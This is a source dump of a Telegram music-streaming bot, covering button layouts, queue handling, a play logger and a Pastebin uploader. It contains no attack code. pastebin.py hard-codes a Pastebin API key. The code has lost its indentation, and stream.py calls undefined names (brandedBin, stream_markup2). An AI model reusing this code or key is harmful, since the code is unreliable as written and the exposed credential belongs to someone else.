InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data="close"),
],
]
return buttons
================================================
FILE: BrandrdXMusic/utils/inline/song.py
================================================
from pyrogram.types import InlineKeyboardButton
import config
def song_markup(_, vidid):
buttons = [
[
InlineKeyboardButton(
text=_["SG_B_2"],
callback_data=f"song_helper audio|{vidid}",
),
InlineKeyboardButton(
text=_["SG_B_3"],
callback_data=f"song_helper video|{vidid}",
),
],
[
InlineKeyboardButton(
text="🥀 sᴜᴩᴩᴏʀᴛ 🥀", url=f"{config.SUPPORT_CHAT}",
),
InlineKeyboardButton(
text=_["CLOSE_BUTTON"], callback_data="close"
),
],
]
return buttons
================================================
FILE: BrandrdXMusic/utils/inline/speed.py
================================================
from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup
def speed_markup(_, chat_id):
upl = InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
text="🕒 0.5x",
callback_data=f"SpeedUP {chat_id}|0.5",
),
InlineKeyboardButton(
text="🕓 0.75x",
callback_data=f"SpeedUP {chat_id}|0.75",
),
],
[
InlineKeyboardButton(
text=_["P_B_4"],
callback_data=f"SpeedUP {chat_id}|1.0",
),
],
[
InlineKeyboardButton(
text="🕤 1.5x",
callback_data=f"SpeedUP {chat_id}|1.5",
),
InlineKeyboardButton(
text="🕛 2.0x",
callback_data=f"SpeedUP {chat_id}|2.0",
),
],
[
InlineKeyboardButton(
text=_["CLOSE_BUTTON"],
callback_data="close",
),
],
]
)
return upl
================================================
FILE: BrandrdXMusic/utils/inline/start.py
================================================
from pyrogram.types import InlineKeyboardButton
import config
from BrandrdXMusic import app
def start_panel(_):
buttons = [
[
InlineKeyboardButton(
text=_["S_B_1"], url=f"https://t.me/{app.username}?startgroup=true"
),
InlineKeyboardButton(text=_["S_B_2"], url=config.SUPPORT_CHAT),
],
]
return buttons
def private_panel(_):
buttons = [
[
InlineKeyboardButton(
text=_["S_B_3"],
url=f"https://t.me/{app.username}?startgroup=true",
)
],
[InlineKeyboardButton(text=_["S_B_4"], callback_data="settings_back_helper")],
[
InlineKeyboardButton(text=_["S_B_5"], user_id=config.OWNER_ID),
InlineKeyboardButton(text=_["S_B_2"], url=config.SUPPORT_CHAT),
],
[
InlineKeyboardButton(text=_["S_B_6"], url=config.SUPPORT_CHANNEL),
],
]
return buttons
================================================
FILE: BrandrdXMusic/utils/inline/stats.py
================================================
from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup
def stats_buttons(_, status):
not_sudo = [
InlineKeyboardButton(
text=_["SA_B_1"],
callback_data="TopOverall",
)
]
sudo = [
InlineKeyboardButton(
text=_["SA_B_2"],
callback_data="bot_stats_sudo",
),
InlineKeyboardButton(
text=_["SA_B_3"],
callback_data="TopOverall",
),
]
upl = InlineKeyboardMarkup(
[
sudo if status else not_sudo,
[
InlineKeyboardButton(
text=_["CLOSE_BUTTON"],
callback_data="close",
),
],
]
)
return upl
def back_stats_buttons(_):
upl = InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
text=_["BACK_BUTTON"],
callback_data="stats_back",
),
InlineKeyboardButton(
text=_["CLOSE_BUTTON"],
callback_data="close",
),
],
]
)
return upl
================================================
FILE: BrandrdXMusic/utils/inline/sudolist.py
================================================
================================================
FILE: BrandrdXMusic/utils/inlinequery.py
================================================
from pyrogram.types import InlineQueryResultArticle, InputTextMessageContent
answer = []
answer.extend(
[
InlineQueryResultArticle(
title="Pᴀᴜsᴇ",
description=f"ᴩᴀᴜsᴇ ᴛʜᴇ ᴄᴜʀʀᴇɴᴛ ᴩʟᴀʏɪɴɢ sᴛʀᴇᴀᴍ ᴏɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ.",
thumb_url="https://te.legra.ph/file/df8fa2868f8a277718a47.jpg",
input_message_content=InputTextMessageContent("/pause"),
),
InlineQueryResultArticle(
title="Rᴇsᴜᴍᴇ",
description=f"ʀᴇsᴜᴍᴇ ᴛʜᴇ ᴩᴀᴜsᴇᴅ sᴛʀᴇᴀᴍ ᴏɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ.",
thumb_url="https://te.legra.ph/file/df8fa2868f8a277718a47.jpg",
input_message_content=InputTextMessageContent("/resume"),
),
InlineQueryResultArticle(
title="Sᴋɪᴩ",
description=f"sᴋɪᴩ ᴛʜᴇ ᴄᴜʀʀᴇɴᴛ ᴩʟᴀʏɪɴɢ sᴛʀᴇᴀᴍ ᴏɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ ᴀɴᴅ ᴍᴏᴠᴇs ᴛᴏ ᴛʜᴇ ɴᴇxᴛ sᴛʀᴇᴀᴍ.",
thumb_url="https://te.legra.ph/file/df8fa2868f8a277718a47.jpg",
input_message_content=InputTextMessageContent("/skip"),
),
InlineQueryResultArticle(
title="Eɴᴅ",
description="ᴇɴᴅ ᴛʜᴇ ᴄᴜʀʀᴇɴᴛ ᴩʟᴀʏɪɴɢ sᴛʀᴇᴀᴍ ᴏɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ.",
thumb_url="https://te.legra.ph/file/df8fa2868f8a277718a47.jpg",
input_message_content=InputTextMessageContent("/end"),
),
InlineQueryResultArticle(
title="Sʜᴜғғʟᴇ",
description="sʜᴜғғʟᴇ ᴛʜᴇ ǫᴜᴇᴜᴇᴅ sᴏɴɢs ɪɴ ᴩʟᴀʏʟɪsᴛ.",
thumb_url="https://te.legra.ph/file/df8fa2868f8a277718a47.jpg",
input_message_content=InputTextMessageContent("/shuffle"),
),
InlineQueryResultArticle(
title="Lᴏᴏᴩ",
description="ʟᴏᴏᴩ ᴛʜᴇ ᴄᴜʀʀᴇɴᴛ ᴩʟᴀʏɪɴɢ ᴛʀᴀᴄᴋ ᴏɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ.",
thumb_url="https://te.legra.ph/file/df8fa2868f8a277718a47.jpg",
input_message_content=InputTextMessageContent("/loop 3"),
),
]
)
================================================
FILE: BrandrdXMusic/utils/logger.py
================================================
from pyrogram.enums import ParseMode
from BrandrdXMusic import app
from BrandrdXMusic.utils.database import is_on_off
from config import LOGGER_ID
async def play_logs(message, streamtype):
if await is_on_off(2):
logger_text = f"""
{app.mention} ᴘʟᴀʏ ʟᴏɢ
ᴄʜᴀᴛ ɪᴅ : {message.chat.id}
ᴄʜᴀᴛ ɴᴀᴍᴇ : {message.chat.title}
ᴄʜᴀᴛ ᴜsᴇʀɴᴀᴍᴇ : @{message.chat.username}
ᴜsᴇʀ ɪᴅ : {message.from_user.id}
ɴᴀᴍᴇ : {message.from_user.mention}
ᴜsᴇʀɴᴀᴍᴇ : @{message.from_user.username}
ǫᴜᴇʀʏ : {message.text.split(None, 1)[1]}
sᴛʀᴇᴀᴍᴛʏᴘᴇ : {streamtype}"""
if message.chat.id != LOGGER_ID:
try:
await app.send_message(
chat_id=LOGGER_ID,
text=logger_text,
parse_mode=ParseMode.HTML,
disable_web_page_preview=True,
)
except:
pass
return
================================================
FILE: BrandrdXMusic/utils/mongo.py
================================================
"""**
────────────────────────────────────────────────────────────────────────
B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞
B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞
B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞
B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞
B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞
B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞
────────────────────────────────────────────────────────────────────────**"""
from typing import Dict, Union
from motor.motor_asyncio import AsyncIOMotorClient as MongoCli
from config import MONGO_DB_URI
mongo = MongoCli(MONGO_DB_URI)
db = mongo.BrandrdXMusic
coupledb = db.couple
afkdb = db.afk
nightmodedb = db.nightmode
notesdb = db.notes
filtersdb = db.filters
async def _get_lovers(cid: int):
lovers = await coupledb.find_one({"chat_id": cid})
if lovers:
lovers = lovers["couple"]
else:
lovers = {}
return lovers
async def _get_image(cid: int):
lovers = await coupledb.find_one({"chat_id": cid})
if lovers:
lovers = lovers["img"]
else:
lovers = {}
return lovers
async def get_couple(cid: int, date: str):
lovers = await _get_lovers(cid)
if date in lovers:
return lovers[date]
else:
return False
async def save_couple(cid: int, date: str, couple: dict, img: str):
lovers = await _get_lovers(cid)
lovers[date] = couple
await coupledb.update_one(
{"chat_id": cid},
{"$set": {"couple": lovers, "img": img}},
upsert=True,
)
================================================
FILE: BrandrdXMusic/utils/pastebin.py
================================================
import socket,requests
from asyncio import get_running_loop
from functools import partial
def _netcat(host, port, content):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(content.encode())
s.shutdown(socket.SHUT_WR)
while True:
data = s.recv(4096).decode("utf-8").strip("\n\x00")
if not data:
break
return data
s.close()
async def HottyBin(content):
url ="https://pastebin.com/api/api_post.php"
data = {"api_dev_key":"9Rfu50iV5l3EuRWATw7EDLuC37RED-C4","api_paste_code": content,"api_option": "paste"}
response = requests.post(url, data=data)
link=response.text
return link
================================================
FILE: BrandrdXMusic/utils/stream/autoclear.py
================================================
import os
from config import autoclean
async def auto_clean(popped):
try:
rem = popped["file"]
autoclean.remove(rem)
count = autoclean.count(rem)
if count == 0:
if "vid_" not in rem or "live_" not in rem or "index_" not in rem:
try:
os.remove(rem)
except:
pass
except:
pass
================================================
FILE: BrandrdXMusic/utils/stream/queue.py
================================================
import asyncio
from typing import Union
from BrandrdXMusic.misc import db
from BrandrdXMusic.utils.formatters import check_duration, seconds_to_min
from config import autoclean, time_to_seconds
async def put_queue(
chat_id,
original_chat_id,
file,
title,
duration,
user,
vidid,
user_id,
stream,
forceplay: Union[bool, str] = None,
):
title = title.title()
try:
duration_in_seconds = time_to_seconds(duration) - 3
except:
duration_in_seconds = 0
put = {
"title": title,
"dur": duration,
"streamtype": stream,
"by": user,
"user_id": user_id,
"chat_id": original_chat_id,
"file": file,
"vidid": vidid,
"seconds": duration_in_seconds,
"played": 0,
}
if forceplay:
check = db.get(chat_id)
if check:
check.insert(0, put)
else:
db[chat_id] = []
db[chat_id].append(put)
else:
db[chat_id].append(put)
autoclean.append(file)
async def put_queue_index(
chat_id,
original_chat_id,
file,
title,
duration,
user,
vidid,
stream,
forceplay: Union[bool, str] = None,
):
if "20.212.146.162" in vidid:
try:
dur = await asyncio.get_event_loop().run_in_executor(
None, check_duration, vidid
)
duration = seconds_to_min(dur)
except:
duration = "ᴜʀʟ sᴛʀᴇᴀᴍ"
dur = 0
else:
dur = 0
put = {
"title": title,
"dur": duration,
"streamtype": stream,
"by": user,
"chat_id": original_chat_id,
"file": file,
"vidid": vidid,
"seconds": dur,
"played": 0,
}
if forceplay:
check = db.get(chat_id)
if check:
check.insert(0, put)
else:
db[chat_id] = []
db[chat_id].append(put)
else:
db[chat_id].append(put)
================================================
FILE: BrandrdXMusic/utils/stream/stream.py
================================================
import os
from random import randint
from typing import Union
import random
import string
import asyncio
from pyrogram import client, filters
from pyrogram.types import InlineKeyboardMarkup, InputMediaPhoto, Message
from pytgcalls.exceptions import NoActiveGroupCall
from BrandrdXMusic.utils.database import get_assistant
import config
from BrandrdXMusic import Apple, Resso, SoundCloud, Spotify, Telegram, YouTube, app
from BrandrdXMusic.core.call import Hotty
from BrandrdXMusic.misc import SUDOERS
from BrandrdXMusic.utils import seconds_to_min, time_to_seconds
from BrandrdXMusic.utils.channelplay import get_channeplayCB
from BrandrdXMusic.utils.decorators.language import languageCB
from BrandrdXMusic.utils.decorators.play import PlayWrapper
from BrandrdXMusic.utils.formatters import formats
from BrandrdXMusic.utils.database import (
add_served_chat,
add_served_user,
blacklisted_chats,
get_lang,
is_banned_user,
is_on_off,
)
from BrandrdXMusic.utils.logger import play_logs
from config import BANNED_USERS, lyrical
from time import time
from BrandrdXMusic.utils.extraction import extract_user
# Define a dictionary to track the last message timestamp for each user
user_last_message_time = {}
user_command_count = {}
# Define the threshold for command spamming (e.g., 20 commands within 60 seconds)
SPAM_THRESHOLD = 2
SPAM_WINDOW_SECONDS = 5
from pyrogram.types import InlineKeyboardMarkup
import config
from BrandrdXMusic import Carbon, YouTube, app
from BrandrdXMusic.core.call import Hotty
from BrandrdXMusic.misc import db
from BrandrdXMusic.utils.database import add_active_video_chat, is_active_chat
from BrandrdXMusic.utils.exceptions import AssistantErr
from BrandrdXMusic.utils.inline import (
aq_markup,
close_markup,
stream_markup,
)
from BrandrdXMusic.utils.pastebin import HottyBin
from BrandrdXMusic.utils.stream.queue import put_queue, put_queue_index
from youtubesearchpython.__future__ import VideosSearch
async def stream(
_,
mystic,
user_id,
result,
chat_id,
user_name,
original_chat_id,
video: Union[bool, str] = None,
streamtype: Union[bool, str] = None,
spotify: Union[bool, str] = None,
forceplay: Union[bool, str] = None,
):
if not result:
return
if forceplay:
await Hotty.force_stop_stream(chat_id)
if streamtype == "playlist":
msg = f"{_['play_19']}\n\n"
count = 0
for search in result:
if int(count) == config.PLAYLIST_FETCH_LIMIT:
continue
try:
(
title,
duration_min,
duration_sec,
thumbnail,
vidid,
) = await YouTube.details(search, False if spotify else True)
except:
continue
if str(duration_min) == "None":
continue
if duration_sec > config.DURATION_LIMIT:
continue
if await is_active_chat(chat_id):
await put_queue(
chat_id,
original_chat_id,
f"vid_{vidid}",
title,
duration_min,
user_name,
vidid,
user_id,
"video" if video else "audio",
)
position = len(db.get(chat_id)) - 1
count += 1
msg += f"{count}. {title[:70]}\n"
msg += f"{_['play_20']} {position}\n\n"
else:
if not forceplay:
db[chat_id] = []
status = True if video else None
try:
file_path, direct = await YouTube.download(
vidid, mystic, video=status, videoid=True
)
except:
await mystic.edit_text(_["play_3"])
await Hotty.join_call(
chat_id,
original_chat_id,
file_path,
video=status,
image=thumbnail,
)
await put_queue(
chat_id,
original_chat_id,
file_path if direct else f"vid_{vidid}",
title,
duration_min,
user_name,
vidid,
user_id,
"video" if video else "audio",
forceplay=forceplay,
)
img = await get_thumb(vidid)
button = stream_markup(_, vidid, chat_id)
run = await app.send_photo(
original_chat_id,
photo=img,
caption=_["stream_1"].format(
f"https://t.me/{app.username}?start=info_{vidid}",
title[:18],
duration_min,
user_name,
),
reply_markup=InlineKeyboardMarkup(button),
)
db[chat_id][0]["mystic"] = run
db[chat_id][0]["markup"] = "stream"
if count == 0:
return
else:
link = await brandedBin(msg)
lines = msg.count("\n")
if lines >= 17:
car = os.linesep.join(msg.split(os.linesep)[:17])
else:
car = msg
carbon = await Carbon.generate(car, randint(100, 10000000))
upl = close_markup(_)
return await app.send_photo(
original_chat_id,
photo=carbon,
caption=_["play_21"].format(position, link),
reply_markup=upl,
)
elif streamtype == "youtube":
link = result["link"]
vidid = result["vidid"]
title = (result["title"]).title()
duration_min = result["duration_min"]
thumbnail = result["thumb"]
status = True if video else None
try:
file_path, direct = await YouTube.download(
vidid, mystic, videoid=True, video=status
)
except:
await mystic.edit_text(_["play_3"])
if await is_active_chat(chat_id):
await put_queue(
chat_id,
original_chat_id,
file_path if direct else f"vid_{vidid}",
title,
duration_min,
user_name,
vidid,
user_id,
"video" if video else "audio",
)
img = await get_thumb(vidid)
position = len(db.get(chat_id)) - 1
button = aq_markup(_, chat_id)
await app.send_photo(
chat_id=original_chat_id,
photo=img,
caption=_["queue_4"].format(
position, title[:18], duration_min, user_name
),
reply_markup=InlineKeyboardMarkup(button),
)
else:
if not forceplay:
db[chat_id] = []
await Hotty.join_call(
chat_id,
original_chat_id,
file_path,
video=status,
image=thumbnail,
)
await put_queue(
chat_id,
original_chat_id,
file_path if direct else f"vid_{vidid}",
title,
duration_min,
user_name,
vidid,
user_id,
"video" if video else "audio",
forceplay=forceplay,
)
img = await get_thumb(vidid)
button = stream_markup(_, vidid, chat_id)
run = await app.send_photo(
original_chat_id,
photo=img,
caption=_["stream_1"].format(
f"https://t.me/{app.username}?start=info_{vidid}",
title[:18],
duration_min,
user_name,
),
reply_markup=InlineKeyboardMarkup(button),
)
db[chat_id][0]["mystic"] = run
db[chat_id][0]["markup"] = "stream"
elif streamtype == "soundcloud":
file_path = result["filepath"]
title = result["title"]
duration_min = result["duration_min"]
if await is_active_chat(chat_id):
await put_queue(
chat_id,
original_chat_id,
file_path,
title,
duration_min,
user_name,
streamtype,
user_id,
"audio",
)
position = len(db.get(chat_id)) - 1
button = aq_markup(_, chat_id)
await app.send_message(
chat_id=original_chat_id,
text=_["queue_4"].format(position, title[:18], duration_min, user_name),
reply_markup=InlineKeyboardMarkup(button),
)
else:
if not forceplay:
db[chat_id] = []
await Hotty.join_call(chat_id, original_chat_id, file_path, video=None)
await put_queue(
chat_id,
original_chat_id,
file_path,
title,
duration_min,
user_name,
streamtype,
user_id,
"audio",
forceplay=forceplay,
)
button = stream_markup2(_, chat_id)
run = await app.send_photo(
original_chat_id,
photo=config.SOUNCLOUD_IMG_URL,
caption=_["stream_1"].format(
config.SUPPORT_CHAT, title[:23], duration_min, user_name
),
reply_markup=InlineKeyboardMarkup(button),
)
db[chat_id][0]["mystic"] = run
db[chat_id][0]["markup"] = "tg"
elif streamtype == "telegram":
file_path = result["path"]
link = result["link"]
title = (result["title"]).title()
duration_min = result["dur"]
status = True if video else None
if await is_active_chat(chat_id):
await put_queue(
chat_id,
original_chat_id,
file_path,
title,
duration_min,
user_name,
streamtype,
user_id,
"video" if video else "audio",
)
position = len(db.get(chat_id)) - 1
button = aq_markup(_, chat_id)
await app.send_message(
chat_id=original_chat_id,
text=_["queue_4"].format(position, title[:18], duration_min, user_name),
reply_markup=InlineKeyboardMarkup(button),
)
else:
if not forceplay:
db[chat_id] = []
await Hotty.join_call(chat_id, original_chat_id, file_path, video=status)
await put_queue(
chat_id,
original_chat_id,
file_path,
title,
duration_min,
user_name,
streamtype,
user_id,
"video" if video else "audio",
forceplay=forceplay,
)
if video:
await add_active_video_chat(chat_id)
button = stream_markup2(_, chat_id)
run = await app.send_photo(
original_chat_id,
photo=config.TELEGRAM_VIDEO_URL if video else config.TELEGRAM_AUDIO_URL,
caption=_["stream_1"].format(link, title[:23], duration_min, user_name),
reply_markup=InlineKeyboardMarkup(button),
)
db[chat_id][0]["mystic"] = run
db[chat_id][0]["markup"] = "tg"
elif streamtype == "live":
link = result["link"]
vidid = result["vidid"]
title = (result["title"]).title()
thumbnail = result["thumb"]
duration_min = "Live Track"
status = True if video else None
if await is_active_chat(chat_id):
await put_queue(
chat_id,
original_chat_id,
f"live_{vidid}",
title,
duration_min,
user_name,
vidid,
user_id,
"video" if video else "audio",
)
position = len(db.get(chat_id)) - 1
button = aq_markup(_, chat_id)
await app.send_message(
chat_id=original_chat_id,
text=_["queue_4"].format(position, title[:18], duration_min, user_name),
reply_markup=InlineKeyboardMarkup(button),
)
else:
if not forceplay:
db[chat_id] = []
n, file_path = await YouTube.video(link)
if n == 0:
raise AssistantErr(_["str_3"])
await Hotty.join_call(
chat_id,
original_chat_id,
file_path,
video=status,
image=thumbnail if thumbnail else None,
)
await put_queue(
chat_id,
original_chat_id,
f"live_{vidid}",
title,
duration_min,
user_name,
vidid,
user_id,
"video" if video else "audio",
forceplay=forceplay,
)
img = await get_thumb(vidid)
button = stream_markup2(_, chat_id)
run = await app.send_photo(
original_chat_id,
photo=img,
caption=_["stream_1"].format(
f"https://t.me/{app.username}?start=info_{vidid}",
title[:23],
duration_min,
user_name,
),
reply_markup=InlineKeyboardMarkup(button),
)
db[chat_id][0]["mystic"] = run
db[chat_id][0]["markup"] = "tg"
elif streamtype == "index":
link = result
title = "ɪɴᴅᴇx ᴏʀ ᴍ3ᴜ8 ʟɪɴᴋ"
duration_min = "00:00"
if await is_active_chat(chat_id):
await put_queue_index(
chat_id,
original_chat_id,
"index_url",
title,
duration_min,
user_name,
link,
"video" if video else "audio",
)
position = len(db.get(chat_id)) - 1
button = aq_markup(_, chat_id)
await mystic.edit_text(
text=_["queue_4"].format(position, title[:27], duration_min, user_name),
reply_markup=InlineKeyboardMarkup(button),
)
else:
if not forceplay:
db[chat_id] = []
await Hotty.join_call(
chat_id,
original_chat_id,
link,
video=True if video else None,
)
await put_queue_index(
chat_id,
original_chat_id,
"index_url",
title,
duration_min,
user_name,
link,
"video" if video else "audio",
forceplay=forceplay,
)
button = stream_markup2(_, chat_id)
run = await app.send_photo(
original_chat_id,
photo=config.STREAM_IMG_URL,
caption=_["stream_2"].format(user_name),
reply_markup=InlineKeyboardMarkup(button),
)
db[chat_id][0]["mystic"] = run
db[chat_id][0]["markup"] = "tg"
await mystic.delete()
# Function to get thumbnail by video ID
async def get_thumb(videoid):
try:
# Search for the video using video ID
query = f"https://www.youtube.com/watch?v={videoid}"
results = VideosSearch(query, limit=1)
for result in (await results.next())["result"]:
thumbnail = result["thumbnails"][0]["url"].split("?")[0]
return thumbnail
except Exception as e:
return config.YOUTUBE_IMG_URL
async def get_thumb(vidid):
try:
# Search for the video using video ID
query = f"https://www.youtube.com/watch?v={vidid}"
results = VideosSearch(query, limit=1)
for result in (await results.next())["result"]:
thumbnail = result["thumbnails"][0]["url"].split("?")[0]
return thumbnail
except Exception as e:
return config.YOUTUBE_IMG_URL
================================================
FILE: BrandrdXMusic/utils/stuffs/_init.py_
================================================
================================================
FILE: BrandrdXMusic/utils/stuffs/buttons.py
================================================
from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, Message
from pyrogram import Client, filters, enums
class BUTTONS(object):
MBUTTON = [[InlineKeyboardButton("CʜᴀᴛGPT", callback_data="mplus HELP_ChatGPT"),InlineKeyboardButton("Hɪsᴛᴏʀʏ", callback_data="mplus HELP_History"),InlineKeyboardButton("Rᴇᴇʟ", callback_data="mplus HELP_Reel")],
[InlineKeyboardButton("Tᴀɢ-Aʟʟ", callback_data="mplus HELP_TagAll"),
InlineKeyboardButton("Iɴꜰᴏ", callback_data="mplus HELP_Info"),InlineKeyboardButton("Exᴛʀᴀ", callback_data="mplus HELP_Extra")],
[InlineKeyboardButton("ᴄᴏᴜᴘʟᴇꜱ", callback_data="mplus HELP_Couples"),
InlineKeyboardButton("Aᴄᴛɪᴏɴ", callback_data="mplus HELP_Action"),InlineKeyboardButton("Sᴇᴀʀᴄʜ", callback_data="mplus HELP_Search")],
[InlineKeyboardButton("ғᴏɴᴛ", callback_data="mplus HELP_Font"),
InlineKeyboardButton("Bᴏᴛs", callback_data="mplus HELP_Bots"),InlineKeyboardButton("Ⓣ-ɢʀᴀᴘʜ", callback_data="mplus HELP_TG")],
[InlineKeyboardButton("Sᴏᴜʀᴄᴇ", callback_data="mplus HELP_Source"),
InlineKeyboardButton("Tʀᴜᴛʜ-ᗪᴀʀᴇ", callback_data="mplus HELP_TD"),InlineKeyboardButton("Qᴜɪᴢ", callback_data="mplus HELP_Quiz")],
[InlineKeyboardButton("ᴛᴛs", callback_data="mplus HELP_TTS"),
InlineKeyboardButton("Rᴀᴅɪᴏ", callback_data="mplus HELP_Radio"),InlineKeyboardButton("ǫᴜᴏᴛʟʏ", callback_data="mplus HELP_Q")],
